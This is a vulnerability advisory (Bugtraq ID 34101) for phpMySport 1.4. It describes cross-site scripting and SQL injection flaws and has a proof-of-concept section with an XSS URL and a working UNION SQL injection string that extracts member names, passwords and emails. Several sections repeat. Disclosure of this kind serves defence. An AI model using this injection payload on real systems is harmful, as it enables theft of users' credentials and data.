PhpMySport Multiple Cross Site Scripting and SQL Injection Vulnerabilities
BID:34101
Info
PhpMySport Multiple Cross Site Scripting and SQL Injection Vulnerabilities
| Bugtraq ID: | 34101 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Mar 12 2009 12:00AM |
| Updated: | Mar 12 2009 07:26PM |
| Credit: | XaDoS |
| Vulnerable: |
phpMySport phpMySport 1.4 |
| Not Vulnerable: | |
Discussion
PhpMySport Multiple Cross Site Scripting and SQL Injection Vulnerabilities
PhpMySport is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
PhpMySport 1.4 is vulnerable; other versions may also be affected.
PhpMySport is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
PhpMySport 1.4 is vulnerable; other versions may also be affected.
Exploit / POC
PhpMySport Multiple Cross Site Scripting and SQL Injection Vulnerabilities
An attacker can exploit these issues via a browser. To exploit a cross-site scripting issue, the attacker must entice an unsuspecting victim to follow a malicious URI.
The following examples are available:
http://www.example.com/index.php?r=competition&v1=view&v2=1&v3=1&v4=&v5=all&v6=[XSS]
http://www.example.com/phpmysport/index.php?r=membro&v1=member_list
Write in the search_member form the right query:
999'/**/union/**/all/**/select/**/1,2,3,4,5,6,7,concat(member_firstname,0x3a,member_pass,0x3a,member_email),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26/**/from/**/pms_member#
An attacker can exploit these issues via a browser. To exploit a cross-site scripting issue, the attacker must entice an unsuspecting victim to follow a malicious URI.
The following examples are available:
http://www.example.com/index.php?r=competition&v1=view&v2=1&v3=1&v4=&v5=all&v6=[XSS]
http://www.example.com/phpmysport/index.php?r=membro&v1=member_list
Write in the search_member form the right query:
999'/**/union/**/all/**/select/**/1,2,3,4,5,6,7,concat(member_firstname,0x3a,member_pass,0x3a,member_email),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26/**/from/**/pms_member#
Solution / Fix
PhpMySport Multiple Cross Site Scripting and SQL Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
PhpMySport Multiple Cross Site Scripting and SQL Injection Vulnerabilities
References:
References:
- Vendor Homepage (PhpMySport)